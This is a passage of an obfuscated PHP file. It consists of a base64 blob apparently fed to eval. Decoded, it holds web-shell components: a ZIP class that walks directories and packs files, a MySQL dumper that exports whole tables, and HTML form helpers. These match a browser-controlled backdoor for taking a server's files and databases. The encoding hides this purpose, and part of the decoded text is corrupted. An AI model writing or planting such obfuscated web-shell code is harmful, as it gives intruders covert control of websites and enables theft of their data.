hbWUpew0KCQkJCQlpZiAoaXNfZmlsZSgkZmlsZW5hbWUpKXsNCgkJCQkJCSRmZCA9IGZvcGVuICgkZmlsZW5hbWUsICdyJyk7DQoJCQkJCQkkY29udGVudCA9IEBmcmVhZCAoJGZkLCBmaWxlc2l6ZSgkZmlsZW5hbWUpKTsNCgkJCQkJCWZjbG9zZSAoJGZkKTsNCgkJCQkJCWlmIChpc19hcnJheSgkZGlyKSkgJGZpbGVuYW1lID0gYmFzZW5hbWUoJGZpbGVuYW1lKTsNCgkJCQkJCSR0aGlzIC0+IGFkZEZpbGUoJGNvbnRlbnQsICRmaWxlbmFtZSk7DQoJCQkJCX0NCgkJCQl9DQoJCQkJJHRoaXMtPm91dCA9ICR0aGlzIC0+IGZpbGUoKTsNCgkJCQljaGRpcigkY3VyZGlyKTsNCgkJCX0NCgkJCXJldHVybiAxOw0KCQl9DQoJCWVsc2UgcmV0dXJuIDA7DQoJfQ0KDQoJLy8gU2hvdyBmaWxlIGxpc3QNCglmdW5jdGlvbiBHZXRGaWxlTGlzdCgkZGlyKXsNCgkJc3RhdGljICRhOw0KCQlpZiAoaXNfZGlyKCRkaXIpKSB7DQoJCQlpZiAoJGRoID0gb3BlbmRpcigkZGlyKSkgew0KCQkJCXdoaWxlICgkZmlsZSA9IHJlYWRkaXIoJGRoKSkgew0KCQkJCQlpZigkZmlsZSE9Jy4nICYmICRmaWxlIT0nLi4nKXsNCgkJCQkJCSRmPSRkaXIgLicvJy4gJGZpbGU7DQoJCQkJCQlpZihpc19kaXIoJGYpKSAkdGhpcy0+R2V0RmlsZUxpc3QoJGYpOw0KCQkJCQkJJGFbXT0kZjsNCgkJCQkJfQ0KCQkJCX0NCgkJCQljbG9zZWRpcigkZGgpOw0KCQkJfQ0KCQl9DQoJCXJldHVybiAkYTsNCgl9DQoNCgl2YXIgJGRhdGFzZWMgICAgICA9IGFycmF5KCk7DQoJdmFyICRjdHJsX2RpciAgICAgPSBhcnJheSgpOw0KCXZhciAkZW9mX2N0cmxfZGlyID0gIlx4NTBceDRiXHgwNVx4MDZceDAwXHgwMFx4MDBceDAwIjsNCgl2YXIgJG9sZF9vZmZzZXQgICA9IDA7DQoNCglmdW5jdGlvbiB1bml4MkRvc1RpbWUoJHVuaXh0aW1lID0gMCkgew0KCQkkdGltZWFycmF5ID0gKCR1bml4dGltZSA9PSAwKSA/IGdldGRhdGUoKSA6IGdldGRhdGUoJHVuaXh0aW1lKTsNCgkJaWYgKCR0aW1lYXJyYXlbJ3llYXInXSA8IDE5ODApIHsNCgkJCSR0aW1lYXJyYXlbJ3llYXInXSAgICA9IDE5ODA7DQoJCQkkdGltZWFycmF5Wydtb24nXSAgICAgPSAxOw0KCQkJJHRpbWVhcnJheVsnbWRheSddICAgID0gMTsNCgkJCSR0aW1lYXJyYXlbJ2hvdXJzJ10gICA9IDA7DQoJCQkkdGltZWFycmF5WydtaW51dGVzJ10gPSAwOw0KCQkJJHRpbWVhcnJheVsnc2Vjb25kcyddID0gMDsNCgkJfSAvLyBlbmQgaWYNCgkJcmV0dXJuICgoJHRpbWVhcnJheVsneWVhciddIC0gMTk4MCkgPDwgMjUpIHwgKCR0aW1lYXJyYXlbJ21vbiddIDw8IDIxKSB8ICgkdGltZWFycmF5WydtZGF5J10gPDwgMTYpIHwNCgkJCQkoJHRpbWVhcnJheVsnaG91cnMnXSA8PCAxMSkgfCAoJHRpbWVhcnJheVsnbWludXRlcyddIDw8IDUpIHwgKCR0aW1lYXJyYXlbJ3NlY29uZHMnXSA+PiAxKTsNCgl9DQoNCglmdW5jdGlvbiBhZGRGaWxlKCRkYXRhLCAkbmFtZSwgJHRpbWUgPSAwKSB7DQoJCSRuYW1lID0gc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCAkbmFtZSk7DQoNCgkJJGR0aW1lID0gZGVjaGV4KCR0aGlzLT51bml4MkRvc1RpbWUoJHRpbWUpKTsNCgkJJGhleGR0aW1lCT0gJ1x4JyAuICRkdGltZVs2XSAuICRkdGltZVs3XQ0KCQkJCQkuICdceCcgLiAkZHRpbWVbNF0gLiAkZHRpbWVbNV0NCgkJCQkJLiAnXHgnIC4gJGR0aW1lWzJdIC4gJGR0aW1lWzNdDQoJCQkJCS4gJ1x4JyAuICRkdGltZVswXSAuICRkdGltZVsxXTsNCgkJZXZhbCgnJGhleGR0aW1lID0gIicgLiAkaGV4ZHRpbWUgLiAnIjsnKTsNCgkJJGZyCT0gIlx4NTBceDRiXHgwM1x4MDQiOw0KCQkkZnIJLj0gIlx4MTRceDAwIjsNCgkJJGZyCS49ICJceDAwXHgwMCI7DQoJCSRmcgkuPSAiXHgwOFx4MDAiOw0KCQkkZnIJLj0gJGhleGR0aW1lOw0KDQoJCSR1bmNfbGVuID0gc3RybGVuKCRkYXRhKTsNCgkJJGNyYyA9IGNyYzMyKCRkYXRhKTsNCgkJJHpkYXRhID0gZ3pjb21wcmVzcygkZGF0YSk7DQoJCSRjX2xlbiA9IHN0cmxlbigkemRhdGEpOw0KCQkkemRhdGEgPSBzdWJzdHIoc3Vic3RyKCR6ZGF0YSwgMCwgc3RybGVuKCR6ZGF0YSkgLSA0KSwgMik7DQoJCSRmciAuPSBwYWNrKCdWJywgJGNyYyk7DQoJCSRmciAuPSBwYWNrKCdWJywgJGNfbGVuKTsNCgkJJGZyIC49IHBhY2soJ1YnLCAkdW5jX2xlbik7DQoJCSRmciAuPSBwYWNrKCd2Jywgc3RybGVuKCRuYW1lKSk7DQoJCSRmciAuPSBwYWNrKCd2JywgMCk7DQoJCSRmciAuPSAkbmFtZTsNCgkJJGZyIC49ICR6ZGF0YTsNCgkJJGZyIC49IHBhY2soJ1YnLCAkY3JjKTsNCgkJJGZyIC49IHBhY2soJ1YnLCAkY19sZW4pOw0KCQkkZnIgLj0gcGFjaygnVicsICR1bmNfbGVuKTsNCg0KCQkkdGhpcyAtPiBkYXRhc2VjW10gPSAkZnI7DQoJCSRuZXdfb2Zmc2V0ID0gc3RybGVuKGltcGxvZGUoJycsICR0aGlzLT5kYXRhc2VjKSk7DQoNCgkJJGNkcmVjID0gIlx4NTBceDRiXHgwMVx4MDIiOw0KCQkkY2RyZWMgLj0gIlx4MDBceDAwIjsNCgkJJGNkcmVjIC49ICJceDE0XHgwMCI7DQoJCSRjZHJlYyAuPSAiXHgwMFx4MDAiOw0KCQkkY2RyZWMgLj0gIlx4MDhceDAwIjsNCgkJJGNkcmVjIC49ICRoZXhkdGltZTsNCgkJJGNkcmVjIC49IHBhY2soJ1YnLCAkY3JjKTsNCgkJJGNkcmVjIC49IHBhY2soJ1YnLCAkY19sZW4pOw0KCQkkY2RyZWMgLj0gcGFjaygnVicsICR1bmNfbGVuKTsNCgkJJGNkcmVjIC49IHBhY2soJ3YnLCBzdHJsZW4oJG5hbWUpICk7DQoJCSRjZHJlYyAuPSBwYWNrKCd2JywgMCApOw0KCQkkY2RyZWMgLj0gcGFjaygndicsIDAgKTsNCgkJJGNkcmVjIC49IHBhY2soJ3YnLCAwICk7DQoJCSRjZHJlYyAuPSBwYWNrKCd2JywgMCApOw0KCQkkY2RyZWMgLj0gcGFjaygnVicsIDMyICk7DQoJCSRjZHJlYyAuPSBwYWNrKCdWJywgJHRoaXMgLT4gb2xkX29mZnNldCApOw0KCQkkdGhpcyAtPiBvbGRfb2Zmc2V0ID0gJG5ld19vZmZzZXQ7DQoJCSRjZHJlYyAuPSAkbmFtZTsNCg0KCQkkdGhpcyAtPiBjdHJsX2RpcltdID0gJGNkcmVjOw0KCX0NCg0KCWZ1bmN0aW9uIGZpbGUoKSB7DQoJCSRkYXRhICAgID0gaW1wbG9kZSgnJywgJHRoaXMgLT4gZGF0YXNlYyk7DQoJCSRjdHJsZGlyID0gaW1wbG9kZSgnJywgJHRoaXMgLT4gY3RybF9kaXIpOw0KCQlyZXR1cm4gJGRhdGEgLiAkY3RybGRpciAuICR0aGlzIC0+IGVvZl9jdHJsX2RpciAuIHBhY2soJ3YnLCBzaXplb2YoJHRoaXMgLT4gY3RybF9kaXIpKSAuIHBhY2soJ3YnLCBzaXplb2YoJHRoaXMgLT4gY3RybF9kaXIpKSAuCXBhY2soJ1YnLCBzdHJsZW4oJGN0cmxkaXIpKSAuIHBhY2soJ1YnLCBzdHJsZW4oJGRhdGEpKSAuICJceDAwXHgwMCI7DQoJfQ0KfQ0KDQovLyBEdW1wIG15c3FsDQpmdW5jdGlvbiBzcWxkdW1wdGFibGUoJHRhYmxlLCAkZnA9MCkgew0KCSR0YWJsZWR1bXAgPSAiRFJPUCBUQUJMRSBJRiBFWElTVFMgJHRhYmxlO1xuIjsNCgkkdGFibGVkdW1wIC49ICJDUkVBVEUgVEFCTEUgJHRhYmxlIChcbiI7DQoNCgkkZmlyc3RmaWVsZD0xOw0KDQoJJGZpZWxkcyA9IHEoIlNIT1cgRklFTERTIEZST00gJHRhYmxlIik7DQoJd2hpbGUgKCRmaWVsZCA9IG15c3FsX2ZldGNoX2FycmF5KCRmaWVsZHMpKSB7DQoJCWlmICghJGZpcnN0ZmllbGQpIHsNCgkJCSR0YWJsZWR1bXAgLj0gIixcbiI7DQoJCX0gZWxzZSB7DQoJCQkkZmlyc3RmaWVsZD0wOw0KCQl9DQoJCSR0YWJsZWR1bXAgLj0gIiAgICRmaWVsZFtGaWVsZF0gJGZpZWxkW1R5cGVdIjsNCgkJaWYgKCFlbXB0eSgkZmllbGRbIkRlZmF1bHQiXSkpIHsNCgkJCSR0YWJsZWR1bXAgLj0gIiBERUZBVUxUICckZmllbGRbRGVmYXVsdF0nIjsNCgkJfQ0KCQlpZiAoJGZpZWxkWydOdWxsJ10gIT0gIllFUyIpIHsNCgkJCSR0YWJsZWR1bXAgLj0gIiBOT1QgTlVMTCI7DQoJCX0NCgkJaWYgKCRmaWVsZFsnRXh0cmEnXSAhPSAiIikgew0KCQkJJHRhYmxlZHVtcCAuPSAiICRmaWVsZFtFeHRyYV0iOw0KCQl9DQoJfQ0KCWZyKCRmaWVsZHMpOw0KDQoJJGtleXMgPSBxKCJTSE9XIEtFWVMgRlJPTSAkdGFibGUiKTsNCgl3aGlsZSAoJGtleSA9IG15c3FsX2ZldGNoX2FycmF5KCRrZXlzKSkgew0KCQkka25hbWU9JGtleVsnS2V5X25hbWUnXTsNCgkJaWYgKCRrbmFtZSAhPSAiUFJJTUFSWSIgJiYgJGtleVsnTm9uX3VuaXF1ZSddID09IDApIHsNCgkJCSRrbmFtZT0iVU5JUVVFfCRrbmFtZSI7DQoJCX0NCgkJaWYoIWlzX2FycmF5KCRpbmRleFska25hbWVdKSkgew0KCQkJJGluZGV4WyRrbmFtZV0gPSBhcnJheSgpOw0KCQl9DQoJCSRpbmRleFska25hbWVdW10gPSAka2V5WydDb2x1bW5fbmFtZSddOw0KCX0NCglmcigka2V5cyk7DQoNCgl3aGlsZShsaXN0KCRrbmFtZSwgJGNvbHVtbnMpID0gQGVhY2goJGluZGV4KSkgew0KCQkkdGFibGVkdW1wIC49ICIsXG4iOw0KCQkkY29sbmFtZXM9aW1wbG9kZSgkY29sdW1ucywiLCIpOw0KDQoJCWlmICgka25hbWUgPT0gIlBSSU1BUlkiKSB7DQoJCQkkdGFibGVkdW1wIC49ICIgICBQUklNQVJZIEtFWSAoJGNvbG5hbWVzKSI7DQoJCX0gZWxzZSB7DQoJCQlpZiAoc3Vic3RyKCRrbmFtZSwwLDYpID09ICJVTklRVUUiKSB7DQoJCQkJJGtuYW1lPXN1YnN0cigka25hbWUsNyk7DQoJCQl9DQoJCQkkdGFibGVkdW1wIC49ICIgICBLRVkgJGtuYW1lICgkY29sbmFtZXMpIjsNCgkJfQ0KCX0NCg0KCSR0YWJsZWR1bXAgLj0gIlxuKTtcblxuIjsNCglpZiAoJGZwKSB7DQoJCWZ3cml0ZSgkZnAsJHRhYmxlZHVtcCk7DQoJfSBlbHNlIHsNCgkJZWNobyAkdGFibGVkdW1wOw0KCX0NCg0KCSRyb3dzID0gcSgiU0VMRUNUICogRlJPTSAkdGFibGUiKTsNCgkkbnVtZmllbGRzID0gbXlzcWxfbnVtX2ZpZWxkcygkcm93cyk7DQoJd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcm93cykpIHsNCgkJJHRhYmxlZHVtcCA9ICJJTlNFUlQgSU5UTyAkdGFibGUgVkFMVUVTKCI7DQoNCgkJJGZpZWxkY291bnRlcj0tMTsNCgkJJGZpcnN0ZmllbGQ9MTsNCgkJd2hpbGUgKCsrJGZpZWxkY291bnRlcjwkbnVtZmllbGRzKSB7DQoJCQlpZiAoISRmaXJzdGZpZWxkKSB7DQoJCQkJJHRhYmxlZHVtcC49IiwgIjsNCgkJCX0gZWxzZSB7DQoJCQkJJGZpcnN0ZmllbGQ9MDsNCgkJCX0NCg0KCQkJaWYgKCFpc3NldCgkcm93WyRmaWVsZGNvdW50ZXJdKSkgew0KCQkJCSR0YWJsZWR1bXAgLj0gIk5VTEwiOw0KCQkJfSBlbHNlIHsNCgkJCQkkdGFibGVkdW1wIC49ICInIi5teXNxbF9lc2NhcGVfc3RyaW5nKCRyb3dbJGZpZWxkY291bnRlcl0pLiInIjsNCgkJCX0NCgkJfQ0KDQoJCSR0YWJsZWR1bXAgLj0gIik7XG4iOw0KDQoJCWlmICgkZnApIHsNCgkJCWZ3cml0ZSgkZnAsJHRhYmxlZHVtcCk7DQoJCX0gZWxzZSB7DQoJCQllY2hvICR0YWJsZWR1bXA7DQoJCX0NCgl9DQoJZnIoJHJvd3MpOw0KCWlmICgkZnApIHsNCgkJZndyaXRlKCRmcCwiXG4iKTsNCgl9IGVsc2Ugew0KCQllY2hvICJcbiI7DQoJfQ0KfQ0KDQpmdW5jdGlvbiB1ZSgkc3RyKXsNCglyZXR1cm4gdXJsZW5jb2RlKCRzdHIpOw0KfQ0KDQpmdW5jdGlvbiBwKCRzdHIpew0KCWVjaG8gJHN0ci4iXG4iOw0KfQ0KDQpmdW5jdGlvbiB0YmhlYWQoKSB7DQoJcCgnPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSI0IiBjZWxsc3BhY2luZz0iMCI+Jyk7DQp9DQpmdW5jdGlvbiB0YmZvb3QoKXsNCglwKCc8L3RhYmxlPicpOw0KfQ0KDQpmdW5jdGlvbiBtYWtlaGlkZSgkbmFtZSwkdmFsdWU9Jycpew0KCXAoIjxpbnB1dCBpZD1cIiRuYW1lXCIgdHlwZT1cImhpZGRlblwiIG5hbWU9XCIkbmFtZVwiIHZhbHVlPVwiJHZhbHVlXCIgLz4iKTsNCn0NCg0KZnVuY3Rpb24gbWFrZWlucHV0KCRhcmcgPSBhcnJheSgpKXsNCgkkYXJnWydzaXplJ10gPSAkYXJnWydzaXplJ10gPiAwID8gInNpemU9XCIkYXJnW3NpemVdXCIiIDogInNpemU9XCIxMDBcIiI7DQoJJGFyZ1snZXh0cmEnXSA9ICRhcmdbJ2V4dHJhJ10gPyAkYXJnWydleHRyYSddIDogJyc7DQoJISRhcmdbJ3R5cGUnXSAmJiAkYXJnWyd0eXBlJ10gPSAndGV4dCc7DQoJJGFyZ1sndGl0bGUnXSA9ICRhcmdbJ3RpdGxlJ10gPyAkYXJnWyd0aXRsZSddLic8YnIgLz4nIDogJyc7DQoJJGFyZ1snY2xhc3MnXSA9ICRhcmdbJ2NsYXNzJ10gPyAkYXJnWydjbGFzcyddIDogJ2lucHV0JzsNCglpZiAoJGFyZ1snbmV3bGluZSddKSB7DQoJCXAoIjxwPiRhcmdbdGl0bGVdPGlucHV0IGNsYXNzPVwiJGFyZ1tjbGFzc11cIiBuYW1lPVwiJGFyZ1tuYW1lXVwiIGlkPVwiJGFyZ1tuYW1lXVwiIHZhbHVlPVwiJGFyZ1t2YWx1ZV1cIiB0eXBlPVwiJGFyZ1t0eXBlXVwiICRhcmdbc2l6ZV0gJGFyZ1tleHRyYV0gLz48L3A+Iik7DQoJfSBlbHNlIHsNCgkJcCgiJGFyZ1t0aXRsZV08aW5wdXQgY2xhc3M9XCIkYXJnW2NsYXNzXVwiIG5hbWU9XCIkYXJnW25hbWVdXCIgaWQ9XCIkYXJnW25hbWVdXCIgdmFsdWU9XCIkYXJnW3ZhbHVlXVwiIHR5cGU9XCIkYXJnW3R5cGVdXCIgJGFyZ1tzaXplXSAkYXJnW2V4dHJhXSAvPiIpOw0KCX0NCn0NCg0KZnVuY3Rpb24gbWFrZXNlbGVjdCgkYXJnID0gYXJyYXkoKSl7DQoJaWYgKCRhcmdbJ29uY2hhbmdlJ10pIHsNCgkJJG9uY2hhbmdlID0gJ29uY2hhbmdlPSInLiRhcmdbJ29uY2hhbmdlJ10uJyInOw0KCX0NCgkkYXJnWyd0aXRsZSddID0gJGFyZ1sndGl0bGUnXSA/ICRhcmdbJ3RpdGxlJ10gOiAnJzsNCglpZiAoJGFyZ1snbmV3bGluZSddKSBwKCc8cD4nKTsNCglwKCIkYXJnW3RpdGxlXSA8c2VsZWN0IGNsYXNzPVwiaW5wdXRcIiBpZD1cIiRhcmdbbmFtZV1cIiBuYW1lPVwiJGFyZ1tuYW1lXVwiICRvbmNoYW5nZT4iKTsNCgkJaWYgKGlzX2FycmF5KCRhcmdbJ29wdGlvbiddKSkgew0KCQkJZm9yZWFjaCAoJGFyZ1snb3B0aW9uJ10gYXMgJGtleT0+JHZhbHVlKSB7DQoJCQkJaWYgKCRhcmdbJ3NlbGVjdGVkJ109PSRrZXkpIHsNCgkJCQkJcCgiPG9wdGlvbiB2YWx1ZT1cIiRrZXlcIiBzZWxlY3RlZD4kdmFsdWU8L29wdGlvbj4iKTsNCgkJCQl9IGVsc2Ugew0KCQkJCQlwKCI8b3B0aW9uIHZhbHVlPVwiJGtleVwiPiR2YWx1ZTwvb3B0aW9uPiIpOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCXAoIjwvc2VsZWN0PiIpOw0KCWlmICgkYXJnWyduZXdsaW5lJ10pIHAoJzwvcD4nKTsNCn0NCmZ1bmN0aW9uIGZvcm1oZWFkKCRhcmcgPSBhcnJheSgpKSB7DQoJISRhcmdbJ21ldGhvZCddICYmICRhcmdbJ21ldGhvZCddID0gJ3Bvc3QnOw0KCSEkYXJnWydhY3Rpb24nXSAmJiAkYXJnWydhY3Rpb24nXSA9ICRzZWxmOw0KCSRhcmdbJ3RhcmdldCddID0gJGFyZ1sndGFyZ2V0J10gPyAidGFyZ2V0PVwiJGFyZ1t0YXJnZXRdXCIiIDogJyc7DQoJISRhcmdbJ25hbWUnXSAmJiAkYXJnWyduYW1lJ10gPSAnZm9ybTEnOw0KCXAoIjxmb3JtIG5hbWU9XCIkYXJnW25hbWVdXCIgaWQ9XCIkYXJnW25hbWVdXCIgYWN0aW9uPVwiJGFyZ1thY3Rpb25dXCIgbWV0aG9kPVwiJGFyZ1ttZXRob2RdXCIgJGFyZ1t0YXJnZXRdPiIpOw0KCWlmICgkYXJnWyd0aXRsZSddKSB7DQoJCXAoJzxoMj4nLiRhcmdbJ3RpdGxlJ10uJyAmcmFxdW87PC9oMj4nKTsNCgl9DQp9DQoNCmZ1bmN0aW9uIG1ha2V0ZXh0KCRhcmcgPSBhcnJheSgpKXsNCgkhJGFyZ1snY29scyddICYmICRhcmdbJ2NvbHMnXSA9IDEwMDsNCgkhJGFyZ1sncm93cyddICYmICRhcmdbJ3Jvd3MnXSA9IDI1Ow0KCSRhcmdbJ3RpdGxlJ10gPSAkYXJnWyd0aXRsZSddID8gJGFyZ1sndGl0bGUnXS4nPGJyICWew0KCXAoIjxwPiRhcmdbdGl0bGVdPHRleHRhcmVhIGNsYXNzPVwiYXJlYVwiIGlkPVwiJGFyZ1tuYW1lXVwiIG5hbWU9XCIkYXJnW25hbWVdXCIgY29scz1cIiRhcmdbY29sc11cIiByb3dzPVwiJGFyZ1tyb3dzXVwiICRhcmdbZXh0cmFdPiRhcmdbdmFsdWVdPC90ZXh0YXJlYT48L3A+Iik7DQp9DQoNCmZ1bmN0aW9uIGZvcm1mb290ZXIoJG5hbWUgPSAnJyl7DQoJISRuYW1lICYmICRuYW1lID0gJ3N1Ym1pdCc7DQoJcCgnPHA+PGlucHV0IGNsYXNzPSJidCIgbmFtZT0iJy4kbmFtZS4nIiBpZD1cIicuJG5hbWUuJ1wiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IlN1Ym1pdCI+PC9wPicpOw0KCXAoJzwvZm9ybT4nKTsNCn0NCg0KZnVuY3Rpb24gZm9ybWZvb3QoKXsNCglwKCc8L2Zvcm0+Jyk7DQp9DQoNCi8vIEV4aXQNCmZ1bmN0aW9uIHByKCRhKSB7DQoJZWNobyAnPHByZT4nOw0KCXByaW50X3IoJGEpOw0KCWVjaG8gJzwvcHJlPic7DQp9DQo/Pg==")); ?>